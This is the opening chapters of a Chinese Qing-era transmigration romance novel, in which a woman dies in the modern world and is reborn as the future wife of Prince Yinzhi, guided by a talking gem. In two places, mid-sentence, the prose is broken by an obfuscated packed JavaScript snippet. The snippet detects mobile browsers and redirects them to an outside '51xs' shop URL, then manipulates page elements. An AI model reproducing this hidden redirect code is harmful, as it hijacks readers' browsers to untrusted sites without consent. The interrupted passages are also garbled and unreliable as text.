《清穿之板上钉钉大福晋》 1. 初穿越 “哇唔——哇唔——” 救护车的警笛声震耳欲聋,引来了不少人的围观,唯有舒禾面无表情的站在路边垂眸看着自己半透明的手。 许久,才缓声道:“宝石先生,刚才你说,前世的我被很多人爱着,这是真的吗?” 被舒禾叫做宝石先生的是一个飞在半空中的宝石匣子,宝石匣子上下晃了晃,就像是在点头一样。 “真的,你要跟我走吗?回到你的前世。” 要走吗? 回想自己短暂的一生,亲情缘浅,无朋无友,没有感觉过一丝温情,今天更是倒霉的出了车祸,连小命都丢了…… 听着警笛声渐渐远去,沉默良久的舒禾点了点头。 “宝石先生,我愿意跟你走,请你带我回到我的前世。” “好。” 不知道是不是错觉,舒禾总觉得在这短暂的一个字中,听出松了一口气的感觉。 还没等舒禾想明白,就感觉一阵天旋地转,一阵挤压感过后,屁股上一疼,不受控制的哭了出来。 “哇—哇—哇—” “生了生了!是个姑娘!” 婴儿的啼哭声响彻产房,听着这响亮的声音,刚刚经历了生产之痛的苏晚清勉强撑起一口气,看向一边的春晓。 “去,把格格抱着老爷看看。” 说完这句话后,苏晚清就再也撑不住晕了过去。 而在她晕过去后,刚刚还在啼哭的婴孩,也就是舒禾瞬间止住了哭声。 产婆手脚麻利的清理干净舒禾身上的脏污,将她包进早已准备好的大红包被中,交给等候多时的春晓。 春晓抱着格格缓缓朝外走去,留在产房内的众人则有条不紊的清理着产房,收拾地面的、点熏香的、帮忙擦身子的…… 一出房门,春晓就看到了正在踱步等候的科尔坤,低敛着眉眼走到科尔坤身边,“老爷,是个格格。” 嫡子和庶子已经有了一窝,但是独独没有女儿的科尔坤一喜,当即就伸手从春晓怀中接过了襁褓。 看着襁褓中乖巧的女儿,心中高兴,大手一挥:“此女以后名叫舒禾,伊尔根觉罗.舒禾,此外,院中下人每人赏银十两!” 刚刚从懵圈中缓过神的舒禾,张嘴想说话,却只是发出了几声:“哼哼——” 听到声音,科尔坤低头,恰好看到舒禾眼睛睁开了一条缝并且和他对视了一眼。 对视的瞬间科尔坤一愣,随后低头在女儿额头上亲了一口,“阿玛的小乖乖,以后可要好好长大啊。” 春晓将这一切尽收眼底,不由得心里面松了一口气,夫人早在知道腹中是个女儿时,就曾担心过老爷会不喜欢格格,若是看到这一幕,想必会放心不少…… 跟在科尔坤身边的小厮突然从外边跑进来,不顾众人异样的目光,凑到科尔坤耳边耳语道:“老爷,大少爷和二少爷又在书院和人打起来了。” 听到庆云的话,科尔坤头都大了,一群混小子,就会给他惹事。 依依不舍的看了一眼怀中的女儿,递还给了春晓,淡声吩咐道:“抱着舒禾回去吧,守好她。” 春晓接过舒禾,福了福身:“是。” 目送老爷离开后,春晓幽幽的叹了一口气,转身回了房,将包着舒禾的襁褓放在枕边。 舒禾睁开一双根本就看不清楚东西的眼睛死瞪着上面,内心暴躁极了。 如果她没有听错,刚才那些人叫的是格格、老爷、夫人…… 啊啊啊!这是给她干哪年来了? 【舒禾,你还好吗?】 “啊——啊——”不好!十分不好! 感觉到宿主暴躁的情绪,宝石悄悄的为自己捏了一把汗,【舒禾,你在心里面说话我是能听到的。】 所以就不用出声了,舒禾完美的领悟到了他的言外之意。 不再开口叫唤,转而在内心询问,【这是什么年代?我的身份是谁?】 【康熙十四年,舒禾你的身份是伊尔根觉罗氏,历史上胤褆的福晋。】 这是什么?这对舒禾来说,完全就是晴天霹雳! 她以为她是来前世找回属于自己的爱,结果呢?她是来当大冤种和生子工具的。 就算是舒禾历史不好,也知道历史上这位十年生五次,最后因为生子累垮身子而死的大福晋。 这种情况,真真是两眼一抹黑,闭眼就想晕! 但是舒禾硬生生的用自己刚出生的小身板挺住了,内心不抱任何希望的询问。 【宝石先生,我可以申请一张返回现代出车祸前的时空票吗?】 一个简单的问题,硬控了宝石十分钟,直到舒禾睡过去才像是被解控了一样降落到襁褓边。 看着舒禾的小脸,幽幽的叹了一口气,不是他不想送舒禾回去,而且…这是她的命,人不能与命争。 不过他之前告诉舒禾的这里有很多人爱她并不是谎话…… 不知道过了多久,苏晚清才幽幽转醒,身上一片清爽,并没有粘腻的感觉,可见是被擦洗过了。 室内虽说一片昏暗,外边却有脚步声,看来在她晕过去这段时间,并没有发生什么意外。 听着耳边那道小小的呼吸声,苏晚清不用看就知道是自己今天刚刚出生的女儿,想到自己还未曾见过女儿的模样。 撑起身子对着外边扬声道:“春晓。” 春晓一直守在外间根本就没有去休息,听到里面的呼唤声,绕过屏风走到里间,跪下行礼:“夫人,奴婢在。” “把灯点燃。” “是。” 昏黄的烛光缓缓亮起,守在外边的春眠一见到屋内亮起烛光,就开始张罗一应事宜,首当其冲的就是补身子的药膳。 屋内,苏晚清就着春晓的力道缓缓坐起,随后又命春晓将女儿抱进怀中,一番折腾下来,总算是看到了女儿的模样。 垂眸看着睡得香甜的女儿,苏晚清只觉得生产的痛都值了。 一边用目光细细描蓦女儿的轮廓,一边问起自己昏过去的各项事宜。 “老爷给格格起名字了吗?” “回夫人,老爷给格格取名舒禾。” “舒禾……舒禾……是个好名字,额娘的小舒禾。” 舒禾刚醒来就听到了这句话,即使这句话很简短,但是她却听出了浓浓的爱护之情。 这一刻,因着悲催命运而想要回现代的心,动摇了。 抬手轻轻摸了摸女儿稚嫩的小脸,知道女儿得了老爷喜欢,苏晚清眼中满是喜意。 这时代,女子在家从父,出嫁从夫不是说着玩玩的,舒禾得了老爷喜欢,至少在家不会受委屈。 “西院的那几个还安分吗?” “白天是春觉盯着那边,要奴婢去问问吗?” “去吧,”苏晚清微微颔首,“顺带问问生产时院里面的情况。” “是。” 春晓缓缓退走,直到室内只剩下母女二人,苏晚清盯着闪烁的烛光出神。 舒禾……皱红舒浦荔,暗绿转郊禾1。 若出自这两句诗,倒也算是个好名字。 若不是……苏晚清摇了摇头,不愿意想不是的可能性,再怎么说,舒禾也是老爷的孩子。 看着这辈子的妈盯着烛火发呆,舒禾也不知道出于什么心态,发出声音想要吸引她的注意力。 “哼哼——” 哼了两声就哼不下去了,实在是太过于羞耻了。 然而这猫叫似的哼哼声已经吸引了苏晚清的注意力,低头一看,怀中的舒禾不知道什么时候醒了,正睁着两只黑溜溜的大眼睛盯着她瞅。 “额娘的小舒禾,这是在提醒额娘看你吗?”话一出口,苏晚清就笑了,“你看,额娘都傻了。” 这样小的孩子,怎么可能是在提醒她,估摸着是饿了或者尿了。 这样想着,苏晚清就要叫人进来,却突然听到怀中发出了一声:“嗯。” 想到刚才自己说了什么,无奈的摇摇头,抬手点了点舒禾的鼻尖,宠溺道:“小狭促鬼。” 刚才的叫人被打断了,现在却是要继续的,“春分。” “夫人。” “去把奶娘找来……” 在苏晚清低声交代事情时候,并没有注意到,怀中小家伙看着她滴溜溜转动的眼睛。 即使看不清抱着自己之人的面容,但是舒禾就是舍不得移开目光。 刚才声音里面满满的宠溺感,是她上辈子求而不得的,还有轻点鼻尖那下…… 短短几分钟的时间,舒禾想要回现代的心已经散了个七七八八。 一直飞在她身边的宝石感觉到她此刻的心情,趁热打铁的询问。 【舒禾,你还要回现代吗?】虽然想要回现代他也没得办法,但是态度得拿出来。 听到宝石的询问,舒禾眨了眨眼,【我如果回去,这具身体会如何?】 【会死。】 【呃……那就不回了吧,但是我想知道,我早逝的命运可改 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734931|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?】 即使知道历史上的大福晋是生孩子累垮了身子才死的,但是舒禾害怕死亡是既定的结局,不管她如何选择,都会在那一年死亡。 好在,接下来宝石的话给她喂了一颗定心丸。 【可改,你说的历史,在现在看来,是未来,而未来,本就不是既定的。】 舒禾松了一口气的同时,一个叛逆的想法眨眼间就冒了出来,【宝石先生,我可以不嫁给大阿哥吗?】 【不可以。】 舒禾略显失望的垂了垂眸,倒是没非要一个理由。 见状,宝石也很是松了一口气,没问就好,问了就不好解释了。 舒禾的气运和胤褆连在一起,是注定的一对,其他的可改,这一点是改不了的。 就连现代,他们两个的红线也是存在的,就是可惜出了车祸这么个事。 突然被抱起,舒禾惊慌的直:“啊——哼哼——” 刚哼唧了两声,嘴里面就被塞进了一个湿软的东西,舒禾下意识嘬了一口。 等反应过来这是什么,脸瞬间爆红,想要用舌头将它顶出去,被发现了的林氏给制止了。 眼见着顶不出去,而且肚子也咕噜噜的响,舒禾只能认栽,开始了自己的吃奶之旅,就算是这样,也是有一下没一下的吃着。 脑中向不知道在哪的宝石询问,【宝石先生,我可以将时间快进到一年……不,两年后吗?】 【……这是不合规矩的。】 想到自己那漫长的吃奶之旅,舒禾更蔫了。 胸口传来的力道微乎其微,奶娘林氏冷汗都快冒出来了,这小主子吃的这般慢,该不会是身体有什么不舒服吧? 思及此,连忙上前两步,焦急的看着正在听春晓汇报情况的夫人,乞求夫人能够快点注意到这边。 这炽热的目光不似舒禾刚才的目光那样可有可无,苏晚清很快就注意到了。 若是平常,她自不会搭理,但是这是她女儿的奶娘,现在还在喂奶,能有的急事…… 目光陡然一凝,给春晓使了个眼色,见春晓将舒禾抱过来后,才缓声道:“林氏,你有话要说?” “禀夫人,小姐刚才吃奶的力道不对劲。” “力道?” “从刚才到现在,一直没怎么吸,吃的过于少了。” 新生儿不吃奶,这可不是小事,苏晚清只感觉眼前一黑,差点没歪倒在床上,对急着过来搀扶她的春眠摆了摆手。 “我无事,你去,去外边请个郎中过来。” “是!” “慢!”苏晚清深吸一口气,“悄悄的。” 出了这么一茬子事,室内的气氛瞬间陷入低迷之中,对于春晓要汇报的东西,苏晚清也没有心思停了。 “啊啊!嗯——”我没事!不用看病—— “将舒禾给我,”看着襁褓中不哭不闹,乖巧的看着她的女儿,苏晚清也觉得不对,用额头贴了贴女儿小小的脸,喃喃道:“我儿放心,额娘会好好护着你的。” “春晓,传我命令,府中妾室,皆闭门一月抄写佛经。” “夫人,若老爷问起来……” “为老祖宗祈福。” 这理由不走心,但苏晚清也不想再想什么走心的理由,左不过一些妾室,她就算是发卖了也使得。 在心焦的等待中,春眠拉着街尾那家铺子中黄郎中的女儿走了进来,一福身:“夫人,女医请来了。” “快,过来看诊。” 数双眼睛盯着,饶是黄芸觉得自己医术不错,也感觉压力山大,在把过脉,又细细的问过情况后。 黄芸斟酌着给出了结论,“格格可能是胎中不足导致的反应能力……” 林林总总一大堆,最后总结下来,就是一句话:这小孩不太聪明。 毕竟连吃东西都不知道吃,可不是不太聪明嘛。 而得到这个结论,苏晚清说不清是什么感觉,但比她预计的最坏结果要好。 刚才提起的一口气瞬间松了下去,疲惫的抬了抬手,“春分。” 春分会意,领着黄芸往外走去,顺便结了诊金给了赏钱。 对此,舒禾表示不服,她明明很聪明的好嘛! 【聪明到不会吃奶?】 【我那不是……】 【舒禾,你现在只是个刚刚出生的婴儿,不需要用以前的标准要求自己,现在抛下你成人的思想束缚,想哭就哭,想笑就笑,权当做为自己重活一次了,好吗?】 2. 见保清(胤褆) 听到这番劝慰,舒禾沉默良久,从未有人告诉她要活的开心,她生理意义上父母厌恶她,她只有缩在角落里不招人注意才能活下去…… 【宝石先生,我知道了,我会学着放下过往,为自己活一次的。】 轰轰烈烈也好,细水长流也罢,都将是她崭新人生。 宝石欣慰的应了一声,并没有再多说什么。 在舒禾和宝石交谈时,苏晚清已经想好了如何应对,高们大户,许多事并不需要亲手去干,就算她的女儿没有那么聪明,照样可以幸福美满一生。 “春晓,明天你去人牙子那,挑八个四、五岁的女童,每个学一项技能。” 不聪明又怎么了,以舒禾的身份,她大可以给她配十个八个的丫鬟,会绣花的、会算账的、会读书的、会写字的、会医理的…… 只要这些丫鬟的卖身契捏在舒禾手中,那么这些丫鬟会的,就相当于她的舒禾会的。 轻轻摸了摸女儿的小脸,笑道:“看来咱们家舒禾,天生就是享福的命。” 她的女儿,自当怎么舒心怎么来。 “哼哼——啊……”看着近在咫尺的柔美脸庞,舒禾眼里面满是依恋。 小声哼唧的女儿,落在苏晚清这当额娘的眼里面就跟只小猫一样,可爱极了,就算是舒禾因为精力不济很快又陷入了睡眠,苏晚清也没舍得移开目光。 还是春晓看时间不早了,担心熬的太晚伤了刚刚生产过的身体,过来催促苏晚清才依依不舍的将怀中的女儿递出。 喝了春眠端过来的药膳,在众丫鬟的伺候下,伴着枕边小小的呼吸声陷入了梦乡。 三天时间一闪而逝,很快就来到了洗三礼这天,舒禾出生的正是时候,五月浅夏,天气不冷不热。 洗三礼这天碧空如洗,因着科尔坤前段时间刚升了兵部尚书,不好私下送礼,赶上可以光明正大送礼的日子,前来贺喜的人可以说是络绎不绝。 看着这人来人往的院落,科尔坤眼里面闪过一丝满意,这盛况,总算没有堕了他们伊尔根觉罗氏一族的威名。 今天明面上是洗三,但是正经说起来来,谁都知道今天是一个权力场。 等人来得差不多了,科尔坤对着夫人身边的一等丫鬟春晓点了点头,示意可以开始了。 春晓将抱着的襁褓交给等候已久的接生婆,接下来的流程,需要由接生婆来干。 接生婆小心的将只穿着肚兜的小姐放进装着温水的盆中,撩起清水上下挥洒着。 “嗯!”脚刚刚接触到温水,舒禾就缩了一下,想要翘起来自己的脚不去碰水,但是人小力气小,最后还是被放到了水盆里面。 小嘴气呼呼的嘟了起来,看着表情这样的生动舒禾,宝石高兴的上下飞舞,他的宿主都会生气了,真不错! 一边挥洒一边朗声念着祭词:“先洗头,做王侯;洗洗腰,一辈倒比一辈高……礼成!” 一番忙活下来,其他人的反应暂且不提,作为洗三礼的主角,舒禾的表现却是非常引人注目的。 因着不满,发泄般在只有一层水的盆里面扑腾着,时不时的“啊——啊”叫两声,吸引了不少人的注意力。 然而这落到其他人眼里面就成了活泼,活泼好啊,活泼就代表身体好,能活! 洗三礼结束,春晓拿起一边的浴巾擦干水,接过春分递过来的包被,将格格裹了个严实。 做完这一切后,对忙着应付众大人的科尔坤行了个礼,“老爷,奴婢先带着格格下去了。” “嗯,去吧。” 得到应允后,春晓带着院子里面的几人,一刻不停的往后院赶去,期间听到小姐哼哼唧唧的声音,也只是安抚道:“格格乖,等回房了就好了。” 这么大的孩子最容易因为一点意外夭折,即使格格身体健康,但是小心才能驶得万年船。 被当做小孩子哄了的舒禾瞬间安静了下来,不好意思的将头埋进襁褓中,裸露在外耳朵根上泛起一点红晕。 注意到这一幕的众丫鬟,面上不显,心里面却已经乐开了花,这三天下来,也足够她们发现格格一被夸就会变乖的事实。 紧赶慢赶,在即将进院之前,还是被拦住了。 看着挡在院门口的两位少爷,春晓趁着行礼的空档,给身后的春分使了个眼色,看到春分悄无声息的离开后,不由得松了一口气。 “参见大少爷,二少爷。” “啊嗯——”大少爷、二少爷?是她额娘天天念叨的哥哥吗?就让她来看看……看看…… 呃,被抱着看不了。 “免礼免礼,”达福摆了摆手,眼神一个劲的往发出声响的襁褓看去,“你弯腰,给爷看看爷的妹妹长什么样。” 听到哥哥的话,达寿附和似的点点头,“对!你弯腰,爷要看妹妹!” “嗯嗯——”弯腰,她也要看哥哥! “大少爷,二少爷,格格刚刚碰了水,不宜见风,不然您二位跟着奴婢回院子,进了屋再细看?” 两人一个六岁、一个四岁,知事但是知的不多,听到春晓的话,也没有细思,只略略一思考,就异口同声道:“可以。” 成了! 春晓垂眸浅笑,抱着小姐做了个请的手势:“大少爷,二少爷,里面请。” 至于本该在书院的两人,怎么跑出来的,又是怎么到这里来的,那就不是她该操心的事了,反正已经着人去告诉老爷了。 一进了正房,达福和达寿就哒哒哒的跑到了屏风前给额娘请安,兄弟两人异口同声道:“额娘,儿子给你请安了。” “达福、达寿?”听到两个儿子的声音,苏晚清眼里面闪过一丝无奈,今天并不是书院放假的日子,怕不是又逃课了。 听到额娘唤自己的声音,达福和达寿笑眯了眼睛,对视一眼,再次异口同声道:“额娘,听说你生了妹妹,我们两个买了些东西回来看你。” 然后再顺便看看妹妹。 “你们两个啊——”两个儿子一直念叨着要妹妹,今天来,只怕是醉翁之意不在酒。 来看妹妹还能记得给她买礼物,倒也算是孝顺。 不过这里之前是产房,若是一会老爷来了看到两个儿子在这里,怕是会大发雷霆,除逃课的处罚外,怕是会另加处罚。 不想让两个儿子多受惩罚,苏晚清柔声道:“你们两个把买来的东西交给春晓,然后让春眠抱着妹妹带你们去隔壁房间。” “好耶!额娘最好了!” 达福和达寿的欢呼声过大,直接把舒禾小小的应答声给压了下去,导致舒禾的小脸直接皱了起来。 春眠抱着舒禾朝隔壁走去,身后的两条小尾巴亦步亦趋的跟着,春眠刚把舒禾放到小床上,达福和达寿就违了上来。 达寿小心翼翼的朝妹妹的小脸戳去,戳到后,一脸兴奋的收回手:“哥!是软的、是热的哎!” “蠢货!”达福一巴掌拍到地上头上,“妹妹是活人,当然是又软又热的了,不会说话可以不说。” 达寿揉揉被打的地方,委屈的朝舒禾看去,在看到张着嘴乐的舒禾时,一愣,旋即也笑了出来。 殊不知,此刻的舒禾正在跟宝石吐槽他们两个呢。 【宝石先生,他们两个怎么感觉笨笨的?】 【不要要求那么多,他们两个一个六岁一个四岁,现在这个程度已经不错了。】 说着宝石窝在达福头上打了个哈欠,盖子一张一合,得亏其他人看不见,要不然指定要去请道士收妖了。 六岁?四岁?舒禾透过模糊的视线看着像两座小山一样的体型,只觉得心凉了半截。 她的亲哥哥体型长这样,那她呢?作为他们同父同母的妹妹,她以后该不会成为熊一般的女子吧? 就在舒禾胡思乱想的时候,一声厉呵响起:“你们两个!又逃学堂的课!” “达寿,快跑!” 达福喊完后,率先朝左边跑去,他的原意是让弟弟朝右边跑,他们兄弟两个一人一边,这样他们阿玛就会左右为难了,谁知道傻弟弟跟他跑了一个方向。 不过一分钟,他们两个就被抓住狠狠的揍了一顿,噼里啪啦的声音,听的舒禾都有点幻痛了。 【嘶,宝石先生,我以后不会也被这么打吧?】 【放心,肯定不会!】毕竟清朝不兴打女儿,一般都是罚抄佛经什么的。 并不知道这些未尽之言的舒禾松了一口气,把刚提起来的心放回了肚子,笑眯眯的听着一边的惨叫声,为这辈子的两个哥哥默哀。 不知道过了多久,出了气的科尔坤让两个不孝子滚到外边跪着后,就来到了小床边,抬手摸了摸女儿的小脸。 相较于刚才暴躁的吼声,自动柔和了语气,“哎哟,舒禾笑的这么开心,是觉得阿玛打的对吗?” “啊啊——”对不对的不知道,只知道这要不是亲儿子,肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13734932|145100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定是要被记一辈子的。 “阿玛就知道舒禾是支持阿玛的,舒禾……” ——— “舒禾!快来!” “二哥,你慢点!”舒禾迈着一双小短腿,艰难的跟着二哥穿行在花园的小道里面。 跑着跑着就感觉自己飞起来了,不对,不是飞起来了,而是被抱起来了。 达寿看着怀里面蔫巴了的妹妹,毫不留情的嘲笑道:“不是我说,妹妹你这体力也太差了,才走了多大会就累成这样,以后啊,干脆跟着我一起锻炼得了。” “才不要。”舒禾皱巴着一张小脸拒绝了,别以为她不知道,她这哥哥每天卯时就起床了,有那个时间她去睡觉不香吗? 而且…… “我今年才四岁,能走这么久已经很好了。” “嗯嗯,很好了,别说话,到侧门了。” 达寿探出头朝侧门处望了望,守门的人不在,看来是被他哥给支开了,为防守门人提前回来,一刻都不停的抱着妹妹就冲了出去。 出了侧门五十米,往右边的小巷子里面一拐,里面达福和保清带着七八个护卫已经等了许久。 听见脚步声,保清懒洋洋的抬头望去,在看到达寿怀里面的舒禾时眼睛一亮,穿着鹅黄色衣服的白嫩小团子,那小脸,贼圆润,手感一定很好! 说干就干,保清贱兮兮的抬手在舒禾脸上捏了一把,捏完后还一本正经的点评道:“手感不错,但是还有进步空间,要是再吃胖点就好了。” “你!”舒禾愤怒的看着这个捏了自己后还嫌弃自己的人,扭头朝着达寿告状,“二哥,我讨厌他!” 达寿还没来得及说话,保清就先不满的开口了,“喂,小不点,你凭什么讨厌我!” “就凭你没有经过我同意就捏我!” 达寿抬手摸了摸鼻子,一脸茫然的凑到达福身边,用手捣了捣他的胸膛,对着那边扬了扬下巴。 “哥,那人谁啊?”要是背景不强,他就揍一顿给妹妹出气了。 达福揉了揉胸口,眉毛拧的死紧,“是戴佳府里面的。”而且是死缠烂打跟上来的,半道他想转去其他地方,都被这人给薅了回来。 “戴佳?”据达寿所知,戴佳府里面可没有这么大的小孩,不过倒是有听说宫里面的皇子被放到…… 皇子! 达寿眼睛猛地瞪大,“哥,我抱妹妹回去。” “嗯,去吧,就说出来时间长了府里面会派人找。” 两人的声音小,一边的护卫并没有听到,在他们眼里面,就是两兄弟一块站了一会,达寿就猛地窜了出去。 “舒禾乖,别吵了,再待下去额娘该发现你不见了,二哥先带你回去。” “二哥……”不是说好在外边玩一天了吗? 话还没有问出口,嘴就被捂住了,舒禾无助的唔了几声,随后果断选择了闭麦。 算了,回去就回去吧,刚好她也有点吵累了。 然而他们两个想溜,保清却不愿意了,快走两步,拽住达寿的手使了个巧劲,直接把他怀里面的舒禾给抱了过来。 “她都不想回去,你抱她回去干嘛。” 空荡荡的怀抱就如达寿此刻空荡荡的心一样,徒劳的握了握手,向不远处的哥哥投去求救的目光。 成功接收到的达福却恨不得自己没接收到,扶了扶额,上前两步,对着保清弯腰行了一礼。 “不是我们强迫舒禾回去,而是家里面额娘会在每天的这个时候见见舒禾,再不回去,就该被发现了。” 要说保清听明白了没,那肯定是听明白了,但是好不容易碰到一个能和他吵起来的人,他可不想那么快把人放走。 眼睛一转,朝着李卫勾了勾手,“你!去伊尔根府上说一声,就说他们格格在我这,晚上酉时就给他们送回去。” “是!” 达福和达寿对视一眼,只觉得天都塌了,他们都不敢想晚上回去后会面对几顿竹鞭炒肉。 然而现在说什么都晚了,不管愿不愿意,现在他们两个只能亦步亦趋的跟在保清身后,谁让他手里面抱着人质呢。 怀里面抱着一个实心秤砣,饶是保清天生力气就大坚持了一会也坚持不下去了,放下怀里面的人,甩了甩手。 有些郁闷的问道:“小不点,你怎么这么重?” 听到“重”字,达福和达寿心里面同时闪过一行字:完了!妹妹要炸! 3. 十两金子的终身服务 “重?”这个字是舒禾最听不得的,当即就炸了,“说我重,你怎么不说是自己不行?” “嘿,你这小不点怎么骂人呢?” “谁让你先说……” 看着又吵起来的两人,达寿躲在达福身后瑟瑟发抖,“大哥,你说阿玛要是知道咱们两个任由妹妹和那谁吵架,会不会把咱们两个的皮扒了?” “……会。” 兄弟两个沉默着对视一眼,仿佛看到了自己悲催的未来。 舒禾吵着吵着声音渐渐弱了下来,没办法,年龄小就是吃亏,刚说了那么几个字,现在喉咙就干的要死。 见她没了动静,保清也不好意思再吵,遂也收了声,抬手在头上被绑成丸子状的头发上捏了捏。 “小不点,你叫什么名字?” “舒禾,舒展的舒,禾苗的禾,你呢?” 说到名字,保清眼里面闪过一丝晦涩,他现在还没有名字,只有一个汗阿玛随口用来称呼的乳名。 垂眸敛起各种思绪,又捏了捏手中软乎乎的头发,“保清,你叫爷保清就好。” 爷?听到这个自称舒禾心里面自己笑翻了,这么大点的孩子,自称爷,怪有反差萌的。 不过话说回来,保清这个名字有点莫名的熟悉感是怎么回事? 想不明白,舒禾索性不再想了,准备回去再向窝在家里面睡大觉宝石先生询问。 说话间又走了一段距离,人声骤然鼎沸起来,站在巷口,看着不远处人来人往的街道,不由得惊叹出声。 见她一副没见过世面的模样,感觉了一下自己的体力,觉得恢复的差不多了,保清眼睛一转,双手将人抱起在怀里面颠了颠。 “不是我说,舒禾你真的要减肥了,要不然嫁不出去可就糟了。” 舒禾嘴角一抽,即使知道古代人早熟,但是这么大点的孩子说她以后嫁不出去就糟了……还是有点幻灭啊! 不过嫁不嫁的出去就不需要面前这个小屁孩担心了,宝石先生已经说了,她是命定的大福晋,想不嫁都不行。 所以不管再怎么差,都有大阿哥接锅。 嫁不出去?不可能的! 而且刚才这人可刚说了她吃胖点脸捏起来手感才好,这会就开始嫌弃她胖了,可真是够可以的。 敷衍的应了一声,抬手胖手环着保清的脖子指了指不远处埋糖葫芦的摊位,“嗯嗯,会减肥的,保清,我想吃那个。” 这话一听就知道是在敷衍他的,汗阿玛说了,就算是不想答应也不能这样。 保清眉毛一皱,刚想说教身后的达寿就屁颠屁颠的朝着卖糖葫芦的摊位跑了过去。 前后不过两分钟就带着四串糖葫芦跑了回来,邀功一样将糖葫芦往舒禾面前递了递,“妹妹吃……” 顿了顿才将另一串糖葫芦朝保清递了过去,“您也吃。” 保清淡淡点了点头,接过糖葫芦随手递给了身后的护卫,即使这串糖葫芦是他看着买回来的,他也没打算吃。 要不然晚上回去有个不好,达福和达寿……包括科尔坤都得被问罪。 为了这些人的安全,他不吃是最好的解决方案。 而达福在看到保清并没有吃糖葫芦后,也暗暗松了一口气,接过弟弟递过来的糖葫芦,抬手在憨批弟弟头上捶了一下。 “一会老实点别乱跑。”也别乱买东西,全家的头还不想现在就搬家。 舒禾吃着哥哥递过来的糖葫芦,自然是也看见了刚才的那一幕,不过她并没有说什么你怎么不吃之类的话。 人家不想吃就不吃呗,左右不过是一串糖葫芦。 “哎哎!” 出神间手一空,舒禾看着自己空荡荡的手心,愤怒的朝保清看去,自己不吃也不让别人吃就有点过分了哈! 将吃了一半的糖葫芦扔到护卫手中,保清嫌弃的抖了抖手上的糖渣,“外边买的不卫生,改天你来我家,我让宫……府里面的厨子给你做。” “怎么就不卫生了,我大哥和二哥都吃了!” “他们两个和你又不一样。” 槽多无口,达福和达寿默默咬了一口糖葫芦,很想问到底哪不一样,但是借他们几个胆他们也不敢。 一路的区别对待下来,到最后达福和达寿已经习惯了,要是哪会不区别对待了,他们两个说不定还会觉得不得劲呢。 逛到日落西山时,一群护卫拎着大包小包的去了科尔坤府上,得到的消息的科尔坤老早就在门口等着了。 在看到自家宝贝女儿在谁怀里面后,眼前一黑,差点没晕过去,快走两步将舒禾抱到怀里面,一边行礼一边给了达福和达寿一个你们两个等着的眼神。 寒暄了一会,科尔坤示意小厮们接过那些一看就是女儿家喜欢的小东西后,目送着保清离开才带着兄妹三人回府。 刚到正堂,舒禾就被放到了美人额娘怀里面,还没来得及说话,就见阿玛从桌子上抄起早就准备好的戒尺,朝着两个哥哥就冲了过去。 而往常这个时候,美人额娘都会紧跟着上去阻拦一二,今天却一动不动的。 舒禾心里面不安,在美人额娘怀里面扭动了两下,惴惴的问道:“额娘,不拦着阿玛点吗?” “不必,”苏晚清将手中的茶盏放下,安抚性的拍了拍女儿的后背,“你阿玛有分寸,断不会打坏了他们。” 这顿打还必须要当着女儿的面打,而且还要够狠,只有这样,下次他们兄弟两个再想带舒禾出去,舒禾自己就会拒绝了。 倒不是苏晚清不想让女儿出去玩,想出去玩,可以,告诉她或者老爷,带足了护卫出去。 像今天这样,只是遇到了宫里面的阿哥还好,若是遇到人贩子…… 晚上,舒禾躺在床上翻来覆去的睡不着,被她吵醒的宝石飞在半空中打了个哈欠。 【舒禾,你怎么还不睡啊?】 【睡不着,】突然,舒禾想到白天觉得耳熟的名字,一个激灵坐起身,【宝石先生,历史上有叫保清的人吗?】 【有啊,大阿哥胤褆的乳名不就是保清嘛。】 “大阿哥!” 外间守夜的紫苏听到声音,快步走到里间点燃烛火,撩起床幔,“格格,可是要起夜?” “不是,我只是想到了一件没做的事,你回外间守着吧。” “好,奴婢就在外间,格格有事唤一声。” “嗯。” 紫苏离开后,舒禾平躺下身,脑海的叙述中夹杂着些兴奋。 【宝石先生,我觉得以后的大阿哥要是知道我是他的福晋,可能会想换个福晋……】 听到这话,宝石来了兴趣,降落到舒禾枕边,兴致勃勃的问道,【为什么会这么觉得,难不成你今天出去时发生了什么?】 【嗯,我出去后……】 听完了舒禾的叙述,宝石嗐了一声,他还以为什么事呢。 【安心,不管怎么样,你们两个的婚事出不了差错。】 她今天都把泥糊到保清脸上了,就这还出不了差错,呃……她真的好绝望,她不想入宫,就算是作为阿哥福晋入宫也不想。 按照历史来看,胤褆在大婚后又在宫里面住了十一年才搬出宫,而她要是成了大福晋,岂不是也要在宫里面住十一年? 更不妙是,历史上的她,就死在那一年。 脑海里面突然蹦出来的历史知识,令舒禾心一梗。 草,生孩子真特么害人不浅,活生生把一个人累死了。 不过她来了,肯定是不可能毫无节制的生,如果胤褆真的那么想要孩子,呵呵…… 舒禾森然一笑,她不介意找宝石先生买点让人不举的药。 话归正题,她要在宫里面住十一年,万一有人想给她下毒或者给她身边的人下毒什么的,只能说防不胜防。 毕竟只有千日做贼,哪有千日防贼的道理。 就算是她警醒,也总有松懈的时候。 舒禾皱着眉用胖手扣了扣枕头边,在脑海中问道,【宝石先生,你能检测饭菜里面是否有毒吗?】 【当然可以,不过你问这个干嘛?】 【这不是害怕以后入宫了不小心着了其他人的道……】 【放心吧,有我在呢,包你安然无恙!】 得到这个保证,舒禾放心了不少,但是又没有完全放下,临进入时还在想,明天要去找额娘要几个精通医术的带在身边。 